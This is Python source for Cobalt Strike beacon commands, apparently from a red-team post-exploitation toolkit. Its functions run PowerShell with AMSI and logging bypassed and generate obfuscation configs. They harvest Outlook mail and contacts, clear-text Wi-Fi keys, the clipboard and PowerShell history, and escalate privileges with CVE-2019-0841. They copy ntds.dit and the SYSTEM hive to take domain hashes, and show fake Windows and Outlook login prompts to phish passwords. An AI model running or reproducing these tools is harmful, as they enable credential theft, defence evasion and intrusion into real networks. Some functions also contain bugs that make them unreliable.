def generate_confuser_config(protections, executable=None): """ Generate a ConfuserEx config file. The protections passed may be either: - A list containing protection names - A dictionary of dictionaries containing {protection: {argument, value}} :param protections: List of protection names or a dictionary of dictionaries containing protections and their arguments. :param executable: Executable to generate config for (default: leave ambiguous for SharpGen) :return: Generated ConfuserEx config file """ if executable: config = helpers.code_string(r""" <project baseDir="{0}" outputDir="{1}" xmlns="http://confuser.codeplex.com"> <module path="{2}"> <rule pattern="true" inherit="false"> """) else: config = helpers.code_string(r""" <project baseDir="{0}" outputDir="{1}" xmlns="http://confuser.codeplex.com"> <module path="{2}"> <rule pattern="true" inherit="false"> """) indent = ' ' * 6 if isinstance(protections, dict): # protections is a dictionary of dictionaries # format is {protection: {argument, value}} for protection, arguments in protections.items(): config += indent + '<protection id="{}">\n'.format(protection) # generate arguments if arguments: if not isinstance(arguments, dict): raise RuntimeError( 'Invalid arguments passed for ConfuserEx protection: {}' .format(protection)) for name, value in arguments.items(): config += indent + ' <argument name="{}" value="{}" />\n'.format( name, value) config += indent + '</protection>\n' else: # protections is just a list of protections with no arguments for protection in protections: config += indent + '<protection id="{}" />\n'.format(protection) config += helpers.code_string(r""" </rule> </module> </project> """) return config
def _(bid, *args): parser = helpers.ArgumentParser(bid=bid, prog='outlook') parser.add_argument('-f', '--folder', help='Folder name to grab') parser.add_argument('-s', '--subject', help='Match subject line (glob)') parser.add_argument('-t', '--top', metavar='N', type=int, help='Only show top N results') parser.add_argument('-d', '--dump', action='store_true', help='Get full dump') parser.add_argument('-o', '--out', help='Output file') try: args = parser.parse_args(args) except: return command = '' command += outlook() # -f/--folder if args.folder: # specified folder #folder = args.folder.lstrip('\\') command += helpers.code_string(r""" $folder = $namespace.Folders.Item("{}") """.format(folder)) else: # inbox command += helpers.code_string(r""" $folder = $namespace.getDefaultFolder($folders::olFolderInBox) """) command += helpers.code_string(r""" $folder.items""") # -s/--subject if args.subject: command += ' | Where-Object {{$_.Subject -Like "{}"}}'.format( args.subject) # -t/--top if args.top: command += ' | select -First {}'.format(args.top) # -d/--dump if not args.dump: # print summary only #command += ' | Format-Table -AutoSize Subject, ReceivedTime, SenderName, SenderEmailAddress' command += ' | Select-Object -Property Subject, ReceivedTime, SenderName, SenderEmailAddress' # -o/--out if args.out: command += ' > {}'.format(args.out) aggressor.bpowerpick(bid, command)
def custom_powerpick(bid, command, silent=False, auto_host=True): # public static string PowerShellExecute(string PowerShellCode, bool OutString = true, bool BypassLogging = true, bool BypassAmsi = true) code = helpers.code_string(r""" string powershell = String.Join("\n", args); var results = Execution.PowerShell.RunAsync(powershell, disableLogging: true, disableAmsi: true, bypassExecutionPolicy: true); foreach (string result in results) { Console.Write(result); } """) if not silent: aggressor.btask( bid, 'Tasked beacon to run: {} (custom unmanaged)'.format( command.replace('\n', ' '))) # include cradle for `powershell-import`/`bpowershell_import` cradle = aggressor.beacon_host_imported_script(bid) if cradle: command = cradle + '\n' + command # if the script is too long, host it if auto_host and len(command) > max_script_size: command = aggressor.beacon_host_script(bid, command) engine.message(command) references = [ 'mscorlib.dll', 'System.dll', 'System.Core.dll', 'System.Management.Automation.dll' ] sharpgen.execute(bid, code, [''] + command.split('\n'), references=references, resources=[], cache=sharpgen_cache)
def outlook(): return helpers.code_string(r""" Add-type -assembly "Microsoft.Office.Interop.Outlook" | out-null $folders = "Microsoft.Office.Interop.Outlook.olDefaultFolders" -as [type] $outlook = new-object -comobject outlook.application $namespace = $outlook.GetNameSpace("MAPI") """)
def _(bid): command = helpers.code_string(""" ls $env:localappdata ls $env:appdata """) aggressor.bpowerpick(bid, command)
def _(bid): command = helpers.code_string(r""" Get-Childitem -path env:* | Select-Object Name, Value | Sort-Object name | Format-Table -Auto """) aggressor.bpowerpick(bid, command)
def _(bid): command = helpers.code_string(r""" Get-Process | Where { $_.mainWindowTitle } | Format-Table id,name,mainwindowtitle -AutoSize """) aggressor.btask(bid, 'Tasked beacon to list open windows') aggressor.bpowerpick(bid, command, silent=True)
def _(bid): command = helpers.code_string(r""" Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, InstallDate | Sort-Object -Property DisplayName | Format-Table -AutoSize """) aggressor.bpowerpick(bid, command)
def _(bid, url): if ':' not in url: # add scheme url = 'http://' + url command = helpers.code_string(r""" $request = [System.Net.WebRequest]::Create({}) """.format(powershell_quote(url))) command += helpers.code_string(r""" $response = $request.GetResponse() $headers = $response.Headers $headers.AllKeys | Select-Object @{ Name = "Key"; Expression = { $_ }}, @{ Name = "Value"; Expression = { $headers.GetValues( $_ ) } } """) aggressor.btask(bid, 'Tasked beacon to get headers for URL: {}'.format(url)) aggressor.bpowerpick(bid, command, silent=True)
def elevate_cve_2019_0841(bid, target, overwrite=None): r""" Elevate with CVE-2019-0841. Change permissions of 'target'. Optionally overwrite 'target' with 'overwrite'. Good overwrite options: - C:\Program Files\LAPS\CSE\AdmPwd.dll (then run gpupdate) - C:\Program Files (x86)\Google\Update\1.3.34.7\psmachine.dll (then wait for google update or run it manually) """ native_hardlink_ps1 = utils.basedir('powershell/Native-HardLink.ps1') edge_dir = r'$env:localappdata\Packages\Microsoft.MicrosoftEdge_*' settings_dat = r'\Settings\settings.dat' command = helpers.code_string(r""" # Stop Edge echo "[.] Stopping Edge" $process = Get-Process -Name MicrosoftEdge 2>$null if ($process) {{ $process | Stop-Process }} sleep 3 # Hardlink $edge_dir = Resolve-Path {edge_dir} $settings_dat = $edge_dir.Path + '{settings_dat}' echo "[.] Making Hardlink from $settings_dat to {target}" rm $settings_dat Native-HardLink -Verbose -Link $settings_dat -Target {target} # Start Edge echo "[.] Starting Edge" Start Microsoft-Edge: sleep 3 # Stop it again echo "[.] Stopping Edge" $process = Get-Process -Name MicrosoftEdge 2>$null if ($process) {{ $process | Stop-Process }} echo "[+] All Finished!" echo "[.] New ACLs:" Get-Acl {target} | Format-List """.format(edge_dir=edge_dir, settings_dat=settings_dat, target=powershell_quote(target))) aggressor.bpowershell_import(bid, native_hardlink_ps1, silent=True) aggressor.bpowerpick(bid, command, silent=True) if overwrite: helpers.upload_to(bid, overwrite, target) helpers.explorer_stomp(bid, target)
def _(bid, outfile=None): command = '' command += outlook() command += helpers.code_string(r""" $contactObject = $namespace.GetDefaultFolder([Microsoft.Office.Interop.Outlook.OlDefaultFolders]::olFolderContacts) $contactList = $contactObject.Items; """) if outfile: # full version to file command += helpers.code_string(r""" $contactList > {out} $length = $contactList.Count echo "wrote $length contacts to {out}" """.format(out=outfile)) else: # short version to console command += '$contactList | Select-Object CompanyName, FullName, Email1DisplayName, Email2DisplayName, Email3DisplayName' aggressor.bpowerpick(bid, command)
def _(bid): command = helpers.code_string(r""" if (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { echo "User is a local admin!"; } else { echo "User is not local admin :("; } """) aggressor.btask(bid, 'Tasked beacon to check if user is a local admin') aggressor.bpowerpick(bid, command, silent=True)
def _(bid, profile=None): if profile: command = helpers.code_string(""" netsh wlan export profile name="{name}" folder=$env:temp key=clear $profile = $env:temp:\*{name}*.xml get-content $profile rm $profile """.format(name=profile)) aggressor.bpowerpick(bid, command) else: aggressor.bshell(bid, 'netsh wlan show profiles name="*" key=clear');
def _(bid, fname, lines=10): code = helpers.code_string(r""" string file = args[0]; int lines = Int32.Parse(args[1]); string text = string.Join("\r\n", System.IO.File.ReadLines(file).Take(lines)); System.Console.WriteLine(text); """) aggressor.btask('Tasked beacon to get first {} lines of {}'.format( lines, fname)) sharpgen.execute(bid, code, (fname, lines))
def _(bid): command = helpers.code_string(r""" If ((gwmi win32_computersystem).partofdomain){ Write-Output "User is in domain: $env:userdomain" } Else { Write-Output "User is not in a domain" } """) aggressor.btask(bid, "Tasked beacon to check if it's in a domain") aggressor.bpowerpick(bid, command, silent=True)
def _(bid): command = helpers.code_string(r""" wmic os get Caption /value Get-WmiObject -class Win32_quickfixengineering | Select-Object HotFixID,Description,InstalledBy,InstalledOn | Sort-Object InstalledOn -Descending | Format-Table -Auto """) aggressor.btask(bid, 'Tasked beacon to get patch info') aggressor.bpowerpick(bid, command, silent=True)
def _(bid, last=50): command = helpers.code_string(r""" $hist = (Get-Content "$env:appdata\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt" -EA 0 | Select -last {}) if ($hist) {{ $hist -Join "`r`n" }} else {{ "No Powershell history found" }} """.format(last)) aggressor.btask(bid, 'Tasked beacon to show {} items of powershell history'.format(last)) aggressor.bpowerpick(bid, command, silent=True)
def _(bid, username, password): command = helpers.code_string(r""" if ((new-object directoryservices.directoryentry "", "{username}", "{password}").psbase.name -ne $null) {{ Write-Host "Credentials {username}:{password} are valid :)" }} else {{ Write-Host "Credentials {username}:{password} are not valid :(" }} """.format(username=username, password=password)) aggressor.btask( bid, 'Tasked beacon to test credentials {}:{}'.format(username, password)) aggressor.bpowerpick(bid, command, silent=True)
def _(bid, *files): if not files: aggressor.berror(bid, 'cat: specify some files to cat') return code = helpers.code_string(r""" foreach (string file in args) { var text = System.IO.File.ReadAllText(file); System.Console.Write(text); } """) aggressor.btask( bid, 'Tasked beacon to get contents of: {}'.format(', '.join(files))) sharpgen.execute(bid, code, files)
def _(bid, *lnks): command = '$sh = New-Object -ComObject WScript.Shell' for lnk in lnks: command += helpers.code_string(r""" $shortcut = $sh.CreateShortcut({}) #$target = $shortcut.TargetPath #$arguments = $target.Arguments #echo "$target $arguments" echo "$shortcut.TargetPath $target.Arguments" """.format(powershell_quote(lnk))) aggressor.btask(bid, 'Tasked beacon to read links: {}'.format(', '.join(lnks))) aggressor.bpowerpick(bid, command, silent=True)
def _(bid): command = helpers.code_string(r""" Add-Type -AssemblyName System.Windows.Forms $tb = New-Object System.Windows.Forms.TextBox $tb.Multiline = $true $tb.Paste() if ($tb.Text.Length -ne 0) { $tb.Text } else { Write-Output "Clipboard does not contain text data" } """) aggressor.btask(bid, 'Tasked beacon to grab the clipboard') aggressor.bpowerpick(bid, command, silent=True)
def _(bid, *args): # public static string PowerShellExecute(string PowerShellCode, bool OutString = true, bool BypassLogging = true, bool BypassAmsi = true) code = helpers.code_string(""" foreach (string arg in args) { Console.WriteLine("> " + arg); } """) sharpgen.execute( bid, code, args, add_references=['System.Management.Automation.dll', 'SharpSploit.dll'], cache=True, delete_after=False, silent=False)
def _(bid): import_host_recon(bid) aggressor.bnet(bid, 'logons') aggressor.bnet(bid, 'sessions') command = helpers.code_string(r""" Write-Output "---------- Explicit logons, past 10 days ----------" Get-ExplicitLogons 10 Write-Output "`n---------- Logons, past 100 events ----------" Get-Logons 100 """) aggressor.btask(bid, 'Tasked beacon to get historical logon information') aggressor.bpowerpick(bid, command, silent=True)
def _(bid, title='Windows Security', message='Please re-enter your user credentials.'): aggressor.bpowershell_import( bid, utils.basedir('powershell/Invoke-LoginPrompt.ps1')) command += helpers.code_string(r""" $out = ShowPrompt "{}" "{}" if ($out) {{ $out }} else {{ echo "Didn't get the credentials" }} """.format(title, message)) # powerpick doesn't work with $host.ui aggressor.bpowershell(bid, command, silent=True)
def _(bid, *dirs): # default dir is . if not dirs: dirs = ['.'] #command += "Where-Object { -not \$_.PsIsContainer } | command = '' for d in dirs: command += helpers.code_string(r""" Get-ChildItem -Path {} | Sort-Object LastWriteTime -Ascending; """.format(powershell_quote(d))) aggressor.btask( bid, 'Tasked beacon to do a sorted-by-time list of: {}'.format( ', '.join(dirs))) aggressor.bpowerpick(bid, command, silent=True)
def _(bid): command = helpers.code_string(r""" $schedule = New-Object -com("Schedule.Service") $schedule.connect() $tasks = $schedule.getfolder("\").gettasks(0) | Select-Object Name, Path, Enabled | Format-Table -Wrap | Out-String If ($tasks.count -eq 0) { Write-Output "No scheduled tasks" } If ($tasks.count -ne 0) { $tasks } """) aggressor.btask(bid, 'Tasked beacon to list scheduled tasks') aggressor.bpowerpick(bid, command, silent=True)
def _(bid, *pids): command = '' if pids: command += 'Get-Process -Id {}; '.format(','.join(pids)) else: command += 'Get-Process | ' command += helpers.code_string(""" ForEach-Object { "{0}, {1}" -f $_.Name, [System.Diagnostics.FileVersionInfo]::GetVersionInfo($_.Path).FileDescription } } """) aggressor.btask( bid, 'Tasked beacon to show version info for processes {}'.format( ', '.join(pids))) aggressor.bpowerpick(bid, command, silent=True)
def _(bid, *hosts): command = '' if not hosts: aggressor.berror(bid, 'Specify some hosts to check admin access to') for host in hosts: host = host.lstrip('\\') command += helpers.code_string(r""" ls \\{host}\C$ >$null 2>$null if ($?) {{ Write-Output "You have admin access to \\{host}" }} else {{ Write-Output "You do not have access to \\{host}: $($Error[0].Exception.Message)" }} """, host=host) aggressor.btask(bid, 'Tasked beacon to check access to: ' + ', '.join(hosts)) aggressor.bpowerpick(bid, command, silent=True)
def _(bid): ntds_source = r'C:\Windows\ntds\ntds.dit' system_source = r'C:\Windows\system32\config\SYSTEM' ntds_dest = r'C:\Windows\temp\ntds.dit' system_dest = r'C:\Windows\temp\SYSTEM' aggressor.bpowershell_import( bid, utils.basedir( 'powershell/PowerSploit/Exfiltration/Invoke-NinjaCopy.ps1')) command = helpers.code_string(r""" Invoke-NinjaCopy -Path "{}" -LocalDestination "{}" Invoke-NinjaCopy -Path "{}" -LocalDestination "{}" """.format(ntds_source, ntds_dest, system_source, system_dest)) aggressor.bpowerpick(bid, command) aggressor.blog2( bid, 'Files will be at "{}" and "{}"'.format(ntds_dest, system_dest))
def _( bid, title='Microsoft Outlook', message='Your Outlook session has expired. Please re-enter your credentials.' ): aggressor.bpowershell_import( bid, utils.basedir('powershell/Invoke-LoginPrompt.ps1')) command = helpers.code_string(r""" Stop-Process -Name OUTLOOK $out = ShowPrompt "{}" "{}" if ($out) {{ $out Start-Process outlook }} else {{ echo "Didn't get the credentials" }} """.format(title, message)) # powerpick doesn't work with $host.ui aggressor.bpowershell(bid, command, silent=True)